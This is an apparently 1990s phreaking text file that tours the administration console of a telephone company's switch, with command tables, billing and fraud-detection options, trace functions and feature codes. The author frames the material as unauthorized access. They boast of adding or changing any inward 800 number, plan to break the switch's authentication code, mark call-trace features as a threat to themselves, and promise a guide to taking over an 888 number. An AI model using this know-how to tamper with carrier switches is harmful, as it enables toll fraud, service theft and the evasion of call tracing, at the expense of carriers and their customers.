ESS DOWNLOAD FRAME DATABASE NO CHANGE TO MMI $CONFIG LOAD ESS DB
ESS CHANGE AN ESS FILE NO CHANGE TO MMI $ADMIN ESS
ESS INSPECT-SHOW FRAME DATA NO CHANGE TO MMI N/A
ESS DISPLAY AN ESS FILE NO CHANGE TO MMI $ADMIN ESS
LLC LINE LOAD CONTROL NO CHANGE TO MMI NO CHANGE TO MMI
LSMC LSMCC-ASGN LS CUST ALARMS $ADMIN CEI $ADMIN CEI
LSMC LSMCC-ASGN LSC VIRTUAL SP NO CHANGE TO MMI $CONFIG ASSIGN
LSMC LSMCC-BYPASS MAH NO CHANGE TO MMI N/A
HEL> ADDITIONAL CROSS REFERENCES (MORE=YES) > Y
TASK FUNCTION RLS-1000 RLS-4000
LSMC LSMCC-DEASGN LS CUST ALMS $ADMIN CEI $ADMIN CEI
LSMC LSMCC-ESS QUEUE NO CHANGE TO MMI N/A
LSMC LSMCC-EXERCISE OUT RELAY NO CHANGE TO MMI $CONFIG OPERATE
LSMC LSMCC-EXERCISE OUT RELAY NO CHANGE TO MMI $CONFIG RELEASE
LSMC LSMCC-LOCK LS CKT ON-LINE NO CHANGE TO MMI $CONFIG LOCK
LSMC LSMCC-RECONFIGURE RLS NO CHANGE TO MMI N/A
LSMC LSMCC-RELEASE LSC VIRT SP NO CHANGE TO MMI $CONFIG DEASSIGN
LSMC LSMCC-REMOVE LS CKT NO CHANGE TO MMI $CONFIG REMOVE
LSMC LSMCC-RESET LS CKT NO CHANGE TO MMI $CONFIG RESTORE
LSMC LSMCC-RESTORE LS CKT NO CHANGE TO MMI $CONFIG RESTORE
LSMC LSMCC-RLS QUEUE NO CHANGE TO MMI N/A
LSMC LSMCC-SWITCH LS CKTS NO CHANGE TO MMI $CONFIG SWITCH
LSMC LSMCC-UNBYPASS MAH NO CHANGE TO MMI N/A
LSMC LSMCC-UNLOCK LS CKT NO CHANGE TO MMI $CONFIG UNLOCK
LSMC LSMSK-MASK ALL LGC NO CHANGE TO MMI $CONFIG MASK
LSMC LSMSK-MASK ALL LSC CKTS NO CHANGE TO MMI $CONFIG MASK
LSMC LSMSK-MASK ALL MDC2 ALMS NO CHANGE TO MMI N/A
LSMC LSMSK-MASK ALL PBRS NO CHANGE TO MMI N/A
LSMC LSMSK-MASK INS M1&M2 MISM NO CHANGE TO MMI N/A
HEL> ADDITIONAL CROSS REFERENCES (MORE=YES) > Y
TASK FUNCTION RLS-1000 RLS-4000
LSMC LSMSK-MASK LGHS NO CHANGE TO MMI N/A
LSMC LSMSK-MASK MDC NO CHANGE TO MMI N/A
LSMC LSMSK-MASK RLG ALARMS NO CHANGE TO MMI N/A
LSMC LSMSK-MASK SPECIFIC LGC NO CHANGE TO MMI $CONFIG MASK
LSMC LSMSK-MASK SPECIFIED MDC2 NO CHANGE TO MMI N/A
LSMC LSMSK-MASK SPECIFIED PBR NO CHANGE TO MMI N/A
LSMC LSMSK-MASK TP-C/TP-D NO CHANGE TO MMI N/A
LSMC LSMSK-UNMASK ALL LGC NO CHANGE TO MMI $CONFIG UNMASK
LSMC LSMSK-UNMASK ALL LSC CKTS NO CHANGE TO MMI $CONFIG UNMASK
LSMC LSMSK-UNMASK ALL MDC2 ALM NO CHANGE TO MMI N/A
LSMC LSMSK-UNMASK ALL PBRS NO CHANGE TO MMI N/A
LSMC LSMSK-UNMASK INS M1 & M2 NO CHANGE TO MMI N/A
LSMC LSMSK-UNMASK LGHS NO CHANGE TO MMI N/A
LSMC LSMSK-UNMASK MDC NO CHANGE TO MMI N/A
LSMC LSMSK-UNMASK RLG ALARMS NO CHANGE TO MMI N/A
LSMC LSMSK-UNMASK SPECIFIC LGC NO CHANGE TO MMI $CONFIG UNMASK
LSMC LSMSK-UNMASK MDC-2 ALARMS NO CHANGE TO MMI N/A
LSMC LSMSK-UNMASK PBR NO CHANGE TO MMI N/A
LSMC LSMSK-UNMASK TP-C/TP-D NO CHANGE TO MMI N/A
HEL> ADDITIONAL CROSS REFERENCES (MORE=YES) > Y
TASK FUNCTION RLS-1000 RLS-4000
LSMC LSMTC-ALIT TESTS NO CHANGE TO MMI $TEST
LSMC LSMTC-CBC COMM BUFFER CTL NO CHANGE TO MMI N/A
LSMC LSMTC-INS INTRANODAL SWI NO CHANGE TO MMI N/A
LSMC LSMTC-LSC LINE SWITCH CTL NO CHANGE TO MMI $TEST
LSMC LSMTC-MAH MSG ASSEMB HOST NO CHANGE TO MMI N/A
LSMC LSMTC-MAH MSG ASSEMB REM NO CHANGE TO MMI N/A
LSMC LSMTC-MCI MAINT COMM IFAC NO CHANGE TO MMI N/A
LSMC LSMTC-RLG REMOTE LINE GRO NO CHANGE TO MMI N/A
LSMC LSMTC-SLC 96 NO CHANGE TO MMI $TEST
LSMC LSSTAT-CBC STATUS NO CHANGE TO MMI $STATUS
LSMC LSSTAT-FRAME STATUS NO CHANGE TO MMI $STATUS
LSMC LSSTAT-INS PGH STATUS NO CHANGE TO MMI N/A
LSMC LSSTAT-LINE GROU ACC STAT NO CHANGE TO MMI $STATUS
LSMC LSSTAT-LINE GROUP STATUS NO CHANGE TO MMI $STATUS
LSMC LSSTAT-LSC LGH TS STATUS NO CHANGE TO MMI N/A
LSMC LSSTAT-LSC PGH STATUS NO CHANGE TO MMI $STATUS
LSMC LSSTAT-MAH STATUS NO CHANGE TO MMI N/A
LSMC LSSTAT-MAR STATUS NO CHANGE TO MMI N/A
LSMC LSSTAT-MCI STATUS NO CHANGE TO MMI N/A
HEL> ADDITIONAL CROSS REFERENCES (MORE=YES) > Y
TASK FUNCTION RLS-1000 RLS-4000
LSMC LSSTAT-PBR STATUS NO CHANGE TO MMI N/A
LSMC LSSTAT-RLG ALARM STATUS NO CHANGE TO MMI N/A
LSMC LSSTAT-RLS ASSIGNMEN STAT NO CHANGE TO MMI N/A
MANUAL ALM-7/10 DIGT ALM SND REQ NO CHANGE TO MMI NO CHANGE TO MMI
MANUAL ASC-LS ASSOCIATION NO CHANGE TO MMI NO CHANGE TO MMI
MANUAL BUP-BREAKUP PATHS NO CHANGE TO MMI NO CHANGE TO MMI
MANUAL BUS-BUSY OUT 1WAY IN TRNK NO CHANGE TO MMI NO CHANGE TO MMI
MANUAL CAN-CANCEL MAN TEST CALL NO CHANGE TO MMI NO CHANGE TO MMI
MANUAL CPD-CP SELECT FEAT ON/OFF NO CHANGE TO MMI NO CHANGE TO MMI
MANUAL CSM-REL ALL TST ACC RLYS NO CHANGE TO MMI $CONFIG RESTORE MTN
MANUAL FLD-FINK LIST DUMP NO CHANGE TO MMI NO CHANGE TO MMI
MANUAL FON-FINK LIST ON NO CHANGE TO MMI NO CHANGE TO MMI
MANUAL FYD-FLY CP DUMP SET/DEL NO CHANGE TO MMI NO CHANGE TO MMI
MANUAL GRA-GRAD PANEL RELATIVE NO CHANGE TO MMI NO CHANGE TO MMI
MANUAL LSS-DISPLAY CS DATA NO CHANGE TO MMI NO CHANGE TO MMI
MANUAL LSS-DISPLAY LSC DATA NO CHANGE TO MMI NO CHANGE TO MMI
MANUAL LSS-DISPLAY LGC DATA NO CHANGE TO MMI NO CHANGE TO MMI
MANUAL MTC-MANUAL TEST CALL NO CHANGE TO MMI NO CHANGE TO MMI
MANUAL PSS-PORT STORE SNAPS DUMP NO CHANGE TO MMI NO CHANGE TO MMI
HEL> ADDITIONAL CROSS REFERENCES (MORE=YES) > Y
TASK FUNCTION RLS-1000 RLS-4000
MANUAL RO#-REQUEST OUT OF SERV NO CHANGE TO MMI NO CHANGE TO MMI
MANUAL RO*-REQUEST OUT OF SERV NO CHANGE TO MMI NO CHANGE TO MMI
MANUAL ROS-REQUEST OUT-OF-SERV NO CHANGE TO MMI $CONFIG REMOVE
MANUAL RP#-REQUEST PURGE OF LINE NO CHANGE TO MMI NO CHANGE TO MMI
MANUAL RPS-REQUEST PURGE OF LINE NO CHANGE TO MMI $CONFIG RESTORE
MANUAL RTA-RESET TEST ACC RELAYS NO CHANGE TO MMI NO CHANGE TO MMI
MANUAL RTS-READ MATRIX SWITCH NO CHANGE TO MMI NO CHANGE TO MMI
MANUAL RTS-READ TIMESLOT NO CHANGE TO MMI NO CHANGE TO MMI
MANUAL SPT-SEMI-AUTO PORT TEST NO CHANGE TO MMI NO CHANGE TO MMI
MANUAL SST-SET SEL FINK ON EN'S NO CHANGE TO MMI NO CHANGE TO MMI
MANUAL STA-SET TEST ACCESS RELAY NO CHANGE TO MMI NO CHANGE TO MMI
MANUAL SUP-SET PAT BETW 2 LINES NO CHANGE TO MMI NO CHANGE TO MMI
MANUAL TSS-TIMESLOT SEARCH NO CHANGE TO MMI NO CHANGE TO MMI
ORGUTL ORIGINATION TEST UTILITY NO CHANGE TO MMI NO CHANGE TO MMI
OVLUTL CHNG NO CHANGE TO MMI NO CHANGE TO MMI
PABX DISP/LIST/EXIT NO CHANGE TO MMI NO CHANGE TO MMI
PAUDIT DETERMINE GENERIC PATCHER NO CHANGE TO MMI N/A
PORTST ALPORT NO CHANGE TO MMI NO CHANGE TO MMI
PSAUTL AUD NO CHANGE TO MMI $AUDIT
HEL> ADDITIONAL CROSS REFERENCES (MORE=YES) > Y
TASK FUNCTION RLS-1000 RLS-4000
PSAUTL CST NO CHANGE TO MMI N/A
PSAUTL SEA NO CHANGE TO MMI N/A
RESTOR OFFLINE CP NO CHANGE TO MMI N/A
RESTOR ONLINE CP NO CHANGE TO MMI N/A
RNGUTL DISPLAY NO CHANGE TO MMI $STATUS
RNGUTL LOCK NO CHANGE TO MMI $CONFIG LOCK
RNGUTL MASK NO CHANGE TO MMI $CONFIG MASK
RNGUTL READ NO CHANGE TO MMI $GBUG
RNGUTL RESET NO CHANGE TO MMI $CONFIG RESTORE
RNGUTL SWITCH NO CHANGE TO MMI $CONFIG SWITCH
RNGUTL TEST NO CHANGE TO MMI $TEST PRG
RNGUTL UNLOCK NO CHANGE TO MMI $CONFIG UNLOCK
RNGUTL UNMASK NO CHANGE TO MMI $CONFIG UNMASK
SCA STUCK COIN ADMINISTRATION NO CHANGE TO MMI NO CHANGE TO MMI
SLCUTL CLEAR SPAN ERROR CNTRS $CLEAR $CLEAR
SLCUTL DISABLE SPAN CNTL RELAY $CONFIG RELEASE $CONFIG RELEASE
SLCUTL DUMP TIMESLOT BSY IDL MAP $STATUS $STATUS
SLCUTL ENABLE SPAN CONTROL RELAY $CONFIG OPERATE $CONFIG OPERATE
SLCUTL MASK SLC-96 SPAN ALARMS $CONFIG MASK $CONFIG MASK
HEL> ADDITIONAL CROSS REFERENCES (MORE=YES) > Y
TASK FUNCTION RLS-1000 RLS-4000
SLCUTL REMOVE SPAN FROM SERVICE $CONFIG REMOVE $CONFIG REMOVE
SLCUTL REPORT-STATUS REPORT $STATUS $STATUS
SLCUTL RESET AND DOWNLOAD RTIF $CONFIG LOAD $CONFIG LOAD
SLCUTL RESTORE A SPAN TO SERVICE $CONFIG RESTORE $CONFIG RESTORE
SLCUTL RESUME (RESTART) AN RTIF $CONFIG LOAD $CONFIG LOAD
SLCUTL TEST-RUN SLC-96 DIAG TEST TEST
SLCUTL UNMASK SLC-96 SPAN ALARMS $CONFIG UNMASK $CONFIG UNMASK
SNCUTL CL-PRINTS ON-LINE CLOCK NO CHANGE TO MMI $STATUS SNC
SNCUTL CX-CLEARS X MASK NO CHANGE TO MMI $CONFIG UNMASK
SNCUTL CY-CLEARS X UNMASK NO CHANGE TO MMI $CONFIG UNMASK
SNCUTL IN-INITIALIZES NO CHANGE TO MMI $CONFIG INIT
SNCUTL OS-X OSCILLATOR NO CHANGE TO MMI $CONFIG SWITCH
SNCUTL OS-Y OSCILLATOR NO CHANGE TO MMI $CONFIG SWITCH
SNCUTL PP-X PRIMARY, Y PRIMARY NO CHANGE TO MMI $CONFIG SWITCH
SNCUTL PS-X PRIMARY, Y SECONDARY NO CHANGE TO MMI $CONFIG SWITCH
SNCUTL RF-REFRESHES OSCILLATOR NO CHANGE TO MMI $CONFIG REFRESH
SNCUTL RP-REPORTS STATUS NO CHANGE TO MMI $STATUS SNC
SNCUTL RT-ROUTINE TEST NO CHANGE TO MMI $TEST POWER UP
SNCUTL RX-RESET FAULT/SET MASK X NO CHANGE TO MMI $CONFIG MASK
HEL> ADDITIONAL CROSS REFERENCES (MORE=YES) > Y
TASK FUNCTION RLS-1000 RLS-4000
SNCUTL RY-RESET FAULT/SET MASY Y NO CHANGE TO MMI $CONFIG MASK
SNCUTL SP-X SECONDARY, Y PRIMARY NO CHANGE TO MMI $CONFIG SWITCH
SNCUTL ZC-CLEAR BOTH X AND Y NO CHANGE TO MMI $HSTUTL
SNCUTL ZF-FORCES FAULTS NO CHANGE TO MMI $TEST SELF-TEST
SNCUTL ZM-MASKS SGD AND SNC NO CHANGE TO MMI N/A
SNCUTL ZR-RESET FLT/SET MASK X&Y NO CHANGE TO MMI $CONFIG MASK
SNCUTL ZU-UNMASKS SGD AND SNC NO CHANGE TO MMI N/A
SNCUTL ZX-REFRESHES X OSCILLATOR NO CHANGE TO MMI $CONFIG REFRESH
SNCUTL ZY-REFRESHES Y OSCILLATOR NO CHANGE TO MMI $CONFIG REFRESH
SWITCH SWITCH DISKS NO CHANGE TO MMI $CONFIG SWITCH DISK
SWITCH SWITCH RINGS NO CHANGE TO MMI $CONFIG SWITCH RING
SWITCH SWITCH SIDES NO CHANGE TO MMI $CONFIG SWITCH CP
SWITCH SWITCH SIDES, NO XWRITE NO CHANGE TO MMI $CONFIG SWITCH
SWITCH SWITCH TONES NO CHANGE TO MMI $CONFIG SWITCH TONE
TCOS CHANGE NO CHANGE TO MMI NO CHANGE TO MMI
TCOS DERV NO CHANGE TO MMI NO CHANGE TO MMI
TCOS DISP NO CHANGE TO MMI NO CHANGE TO MMI
TCOS LIST NO CHANGE TO MMI NO CHANGE TO MMI
TCOS SRCH NO CHANGE TO MMI NO CHANGE TO MMI
HEL> ADDITIONAL CROSS REFERENCES (MORE=YES) > Y
TASK FUNCTION RLS-1000 RLS-4000
TIMEC ADJUST NO CHANGE TO MMI NO CHANGE TO MMI
TIMEC ADJUST HELP NO CHANGE TO MMI NO CHANGE TO MMI
TIMEC ADJUST HOUR NO CHANGE TO MMI NO CHANGE TO MMI
TIMEC ADJUST INVALID HOUR NO CHANGE TO MMI NO CHANGE TO MMI
TIMEC ADJUST INVALID MIN NO CHANGE TO MMI NO CHANGE TO MMI
TIMEC ADJUST INVALID SEC NO CHANGE TO MMI NO CHANGE TO MMI
TIMEC ADJUST MIN NO CHANGE TO MMI NO CHANGE TO MMI
TIMEC ADJUST SEC NO CHANGE TO MMI NO CHANGE TO MMI
TIMEC DISPLAY NO CHANGE TO MMI NO CHANGE TO MMI
TIMEC DONE NO CHANGE TO MMI NO CHANGE TO MMI
TIMEC EXIT NO CHANGE TO MMI NO CHANGE TO MMI
TIMEC HELP NO CHANGE TO MMI NO CHANGE TO MMI
TIMEC SET DATE DAY NO CHANGE TO MMI NO CHANGE TO MMI
TIMEC SET DATE INVALID NO CHANGE TO MMI NO CHANGE TO MMI
TIMEC SET DATE MONTH NO CHANGE TO MMI NO CHANGE TO MMI
TIMEC SET DATE WARNING NO CHANGE TO MMI NO CHANGE TO MMI
TIMEC SET DATE YEAR NO CHANGE TO MMI NO CHANGE TO MMI
TIMEC SET HELP NO CHANGE TO MMI NO CHANGE TO MMI
TIMEC SET TIME HOUR NO CHANGE TO MMI NO CHANGE TO MMI
HEL> ADDITIONAL CROSS REFERENCES (MORE=YES) > Y
TASK FUNCTION RLS-1000 RLS-4000
TIMEC SET TIME HOUR INVALID NO CHANGE TO MMI NO CHANGE TO MMI
TIMEC SET TIME MIN NO CHANGE TO MMI NO CHANGE TO MMI
TIMEC SET TIME SEC NO CHANGE TO MMI NO CHANGE TO MMI
TIMEC SET TIME WARNING NO CHANGE TO MMI NO CHANGE TO MMI
TIMEC SYNC CLOCK AUDIT NO CHANGE TO MMI N/A
TKTHRS TRUNK THRESHOLD ADMIN NO CHANGE TO MMI NO CHANGE TO MMI
TRK ADD NO CHANGE TO MMI NO CHANGE TO MMI
TRK DEL NO CHANGE TO MMI NO CHANGE TO MMI
TRK DISP NO CHANGE TO MMI NO CHANGE TO MMI
TRK LIST NO CHANGE TO MMI NO CHANGE TO MMI
TRK STAT NO CHANGE TO MMI NO CHANGE TO MMI
UNMASK UNMASK NO CHANGE TO MMI $CONFIG UNMASK
WAKEUP CHANGE NO CHANGE TO MMI NO CHANGE TO MMI
WAKEUP DISP NO CHANGE TO MMI NO CHANGE TO MMI
WAKEUP LIST NO CHANGE TO MMI NO CHANGE TO MMI
===============================================================================
=====
$AMOPT is a great tool,
$AMOPT
HOUSTON_TX_WESTEL
97-05-22 19:25:01 ADMINISTRATIVE CP OPTIONS
Once inside $AMOPT you can do a veriety of things :
These are the commands and what they do :
DISP - DISPLAY CALL PROCESSOR OPTIONS
LIST - LISTS ALL CALL PROCESSING OPTIONS
CHNG - CHANGE CALL PROCESSOR OPTIONS
BACKUP - COPIES FORMATTING TABLES TO DISK
EXIT - EXITS AMOPT
when in AMOP do a list And it will list all call processor options
And it should look like this :
OPTION STATE DESCRIPTION
------ ----- -----------
OVERLD OFF FAST INTER-DIGIT TIMING
AMAFREE OFF IF NO BUFFERS: ON=FREE OFF=BLOCKED
USRFREE OFF IF NO BUFFERS: ON=FREE OFF=BLOCKED
EASFREE OFF IF NO BUFFERS: ON=FREE OFF=BLOCKED
FGAFREE OFF IF NO BUFFERS: ON=FREE OFF=BLOCKED
EQAFREE OFF IF NO BUFFERS: ON=FREE OFF=BLOCKED
COINAMA OFF TICKET ALL ORIG COIN CALL:ON=YES OFF=NO
SSTRECORD OFF RECORD SST'S : ON=YES OFF=NO
HIGHREV 80 HIGH REVENUE THRESHOLD PERCENT (0-100)
ECTIME 4 EXCES CONVSTN TIME--30 MIN UNITS
ANSUP 0 ANSWER SUPERVISION TIME--.256 SEC UNITS
MCD 1 MINIMUM CHARGEABLE DURATION 0-59 SECS
AMAIMMED OFF DLI/MIC AMA IMMEDIATE TICKET WRITE
DPFDTH 0 DTMF FRAUD DETECTION MESSAGE THRESHOLD
AMAVAL AMA RECORDS:ON=VALIDATION TEST,OFF=LIVE
NODEID => 0 1 2 3 4 5 6 7
STATE => OFF OFF OFF OFF OFF OFF OFF OFF
RTFREE OFF FREE LOCAL ROUTING ON ANI FAIL :
DLIMICPR OFF DLI/MIC AMA INTERFACE PREFERRED
MICTIMER 0 MIC AMA ACK TIMER STEPS (100MS UNITS)
MICTHRSH 0 MIC AMA ACK TIMEOUT THRESHOLD
TICKOP TICKETING OPTIONS PER CALL TYPE ARE :
CALL TYPE ACT TRC INC EXT HRV HRN DESCRIPTION
--------- --- --- --- --- --- --- -----------
001 ON OFF OFF OFF OFF OFF STATION-TO-STATION SENT PAID
042 ON OFF OFF OFF OFF OFF TIME CHANGE
104 ON OFF OFF OFF OFF OFF VOL1 VOLUME LABEL
105 ON OFF OFF OFF OFF OFF HDR1 HEADER RECORD
109 ON OFF OFF OFF OFF OFF EOF1 TRAILER RECORD
113 ON OFF OFF OFF OFF OFF TEST RECORD
XX:XX:XX AMOPT LIST COMPLETE
Notice the DTMF fraud detection message threshold? another one of it's advanced
system security Techneeks. Also you could change the call processing option wit
h CHNG.
-
in $CODE you have the option to :
($CODE - DCO Customer routing)
USUALLY USING V 1.0
ACTV - SEARCH CPT AND AUX TABLES FOR REFERENCES TO
INPUT AUX TABLE NUMBER OR SCREEN TABLE NUMBER.
AUDIT - SEARCH CPT AND AUX TABLES FOR ACTIVE AUX TABLES
THAT ARE NOT REFERENCED BY EITHER TABLE.
CHNG - CHANGE AN AUX, ST#, OR ABC.
DEFINE - DEFINE AN AUX TABLE.
DISP - BY ABC;
OR ABC AND SC#;
LIST DEF AND AUX;
DEF, AUX AND SC#;
AUX;
AUX AND SC#;
ST#;
ST# AND SC#.
UNS - UNASSIGN AN AUX OR ST#.
XX-XX-XX XX:XX:XX
FUNCTION ABC DEF AUX ST# SC# RTR# KEY STA STO DEX CPE
--
Screw that the real fun comes from the inwats command ;)
You Can ADD Delete or change any inwat # you want in this system,
* JN0259 800 025 9[5-9]XX ASSIGNED - 0000 SPARE - 0002
Did you notice the trace command? Lookie here :
=============================================================
** AUTH - WILL TRACE BY AUTH CODE FOR A GIVEN TRUNK GROUP **
** ANI - WILL TRACE BY ANI FOR A GIVEN TRUNK GROUP **
** EN - WILL TRACE BY EN AND PRINT THE DATA FOUND **
** TRUNK- WILL TRACE LIKE EN BUT FOR ALL EN'S IN A TG. **
=============================================================
*** AUTH - VALID 4 TO 7 DIGIT AUTH CODE ***
*** ANI - 7 DIGITS FOR FG-B 10 DIGITS FOR FG-D ***
*** EN - 1222 = 01-2-22 1020 = 01-0-20 ***
*** TRUNK- 1 TO 511 OR "*" FOR ALL TRUNK GROUPS ***
=============================================================
- Now i still havent broken the authentication code, but i`m sure i can debug i
t out
Of the system.....
-------------------------------
In the $EDIT command So far, it seems as though every <CR> it well, hits a new
line.
When you are done with your editing, type ! then hit $EXIT! then it will ask yo
u what file
You want to save it as. Peace -o- Cake.
-------------------------------
The command $ADMIN back at the DCO> prompt will give let you will have to enter
the group type in which you want to administer. Some of these groups are restri
cted.
Here are the groups :
ERR - DISPLAY ERROR CODES FROM DBMS
AIN - ADVANCED INTELLIGENCE NETWORK
CEI - CUSTOMER EQUIPMENT INTERFACE
COS - CLASS OF SERVICE
CODRES - CODE RESTRICTION LIST
CV - CLASS VALUES (VOICE DATA PROTECTION)
FN - FEATURE NAME
HG - HUNT GROUPS
LCC - LINE CLASS CODES
LCN - LINE CLASS NAMES
LINE - EN/DN LINES
MACRO - MACRO DEFINITIONS
MBG - MAKE BUSY GROUPS
NRT - NETWORK DN TRANSPARENCY ROUTE TREATMENTS
OPTIONS - FEATURE OPTIONS
RING - DEFAULT RING CODES
SITE - SITE NAME
SS7 - SIGNALING SYSTEM NUMBER 7
The feature option are :
NS MULTI LATA LOCAL NUMBER
N 000
NS SCP TONE/ANNOUNCEMENT TABLE
CODE TONE/ANNOUNCEMENT RTR# TONE
==== ================= ==== ====
1 OUT OF BAND 0
2 VACANT CODE 0
3 DISCONNECTED NUMBER 0
4 EQUIPMENT BUSY TONE EBT
5 BUSY TONE BT
6 NO CIRCUIT AVAILABLE EBT
NS ACG TONE/ANNOUNCEMENT TABLE
CODE TONE/ANNOUNCEMENT RTR# TONE
==== ================= ==== ====
1 VACANT CODE 0
2 OUT OF BAND 0
3 NO CIRCUIT AVAILABLE EBT
4 MASS CALLING BT
5 SMS INITIATED BT
NS SSP TONE/ANNOUNCEMENT TABLE
CODE TONE/ANNOUNCEMENT RTR# TONE
==== ================= ==== ====
1 EQUIPMENT BUSY TONE EBT
2 CIRCUIT RESTRICTION 0
3 OUT OF BAND 0
This gives the complete codes for the shit your working on.
also, in the ERR prompt, here is the complete code listing for it :
Remember all letters proceeded with * can be entered by -
DONE - TERMINATES REPETITIVE PROMPTING
*3WAY - 3-WAY CALLING
*AA - AUTOMATIC LINE INSULATION TEST
*ASUP - RETURN ANSWER SUPERVISION
*BILLING - BILLING NUMBER
*CFDAF - CALL FORWARD NO ANSWER FIXED
*CFDAFIO - CALL FORWARD NO ANSWER FIXED IN ONLY
*CFDAV - CALL FORWARD NO ANSWER VARIABLE
*CFDAVIO - CALL FORWARD NO ANSWER VARIABLE IN ONLY
CIRCULAR - CIRCULAR
*CR1 - CARRIER RESTRICTION #1
*CR2 - CARRIER RESTRICTION #2
CV - CLASS VALUE
*D4FX - SLC-96 FOREIGN EXCHANGE
*DIRECT - AUTO ORIGINATION DIRECT
*DVDN - DIVERSION TO INTERCEPT DN
*FGA - FEATURE GROUP A
*FIRE - VOLUNTEER FIRE ALARM
FLAT - FLAT RATE
*FRAUD-DTMF - DTMF FRAUD DETECTION <---- YAY!
*FREE - FREE TERMINATING
*GRND - GROUND START
*HOTL - HOTEL/MOTEL SERVICE <--- motel 69.
*IMTS - IMPROVED MOBILE TELEPHONE SERVICE
*INWS - INWARD WATS SERVICE
*IR - INTERLATA RESTRICTED
*KEYS - KEYSTATION
LCN - LINE CLASS CODE NAME
LINEAR - LINEAR
*LIVE - LIVE SERVICE OBSERVATION
LLCA - LINE LOAD CONTROL ESSENTIAL
LLCB - LINE LOAD CONTROL SEMI-ESSENTIAL
LLCC - LINE LOAD CONTROL NON-ESSENTIAL
*LOOP - LOOP RANGE EXTENDER
*LORL - OUTSIDE VENDOR ALIT
*MANUAL - AUTO ORIGINATION MANUAL
*MCHF - MALICIOUS CALL HOOK FLASH
*MCTR - MALICIOUS CALL TRACE <--------|
*MCTT - MALICIOUS CALL TRAP & TRACE <----|__For some reason, these
don't look g00d
MEASURED - MEASURED RATE
METERED - METERED RATE
MULTILINE - MULTILINE HUNT GROUP
*NOTIC - NO LAMA TICKET
*OPM - ON PREMISES METERING
*ORGB - ORIGINATING BARRED
*PIC - PRESUBSCRIBED INTERLATA CARRIER
PILOT - PILOT NUMBER
PREFERENTIAL - PREFERENTIAL HUNT GROUP
PRI-MLHG - PRIMARY MULTILINE HUNT GROUP
*QUEUE - QUEUE CALL WHEN ALL MEMBERS ARE BUSY
*RA01 - RCAN 1
*RA02 - RCAN 2
*RA03 - RCAN 3
*RA04 - RCAN 4
*RA05 - RCAN 5
*RA06 - RCAN 6
*RA07 - RCAN 7
*RA08 - RCAN 8
*RA09 - RCAN 9
*RA10 - RCAN 10
*RA11 - RCAN 11
*RA12 - RCAN 12
*RA13 - RCAN 13
*RCAN - RECORDED ANNOUNCEMENT
*RING-CODE - RING CODE
*SC30 - 30-LIST SPEED CALL
*SC8 - 8-LIST SPEED CALL
SCREEN - SCREEN CLASS
*SCS30 - 30-LIST SPEED CALL SHARED
*SCS8 - 8-LIST SPEED CALL SHARED
SERIES - SERIES COMPLETION HUNT GROUP
*SLEV - SLEEVE LEAD
*SPRV - SINGLE PARTY REVERTIVE
*STDL - STATION DETAIL BILLING
*TA - ALLOW TEST ACCESS
*TOLB - TOLL BARRED
*TONE - TONE DIAL SERVICE
*TRAFFIC - TRAFFIC SAMPLING
*TRAN - CALL TRANSFER
*TRMB - TERMINATION BARRED
TYPE-HUNT - HUNTING TYPE
UNIFORM - UNIFORM
*WB00 - WATS BAND 0
*WB01 - WATS BAND 1
*WB02 - WATS BAND 2
*WB03 - WATS BAND 3
*WB04 - WATS BAND 4
*WB05 - WATS BAND 5
*WB06 - WATS BAND 6
*WB07 - WATS BAND 7
*WB08 - WATS BAND 8
*WB09 - WATS BAND 9
*WB10 - WATS BAND 10
*WB11 - WATS BAND 11
*WB12 - WATS BAND 12
*WB13 - WATS BAND 13
*WB14 - WATS BAND 14
*WCBD - WATS FULL BUSINESS DAY
*WCFR - WATS FLAT RATE
*WCMT - WATS MEASURED TIME
*WHTH - WHISTLE THRU
ok now from here you can see whats going on, but press ^ to go back one,
then hit SHDISPLAY theres no ALL option but there is a display option.
pick it. you will get a line like this :
ADM> HUNT GROUP (HG=32) > 12
HG SITE LCC-NAME HGTYPE PILOT BILLING MEM MXHG BG PIC
12 0 PBX_GR MULTI 9580215 9580215 24 24
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I`m no phreaker or anything But isn't this a listing for |PBX?.
Line class codes? for PBX?
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Now in FN you can vewi feature names and comparison to Telco names.
jsut type FN then LIST - The complete list was way to big to enter here,
so we will display that on another txt file.
Look for part 2! on how to set up your own 888 # and keep it.
also other intresting tricks!
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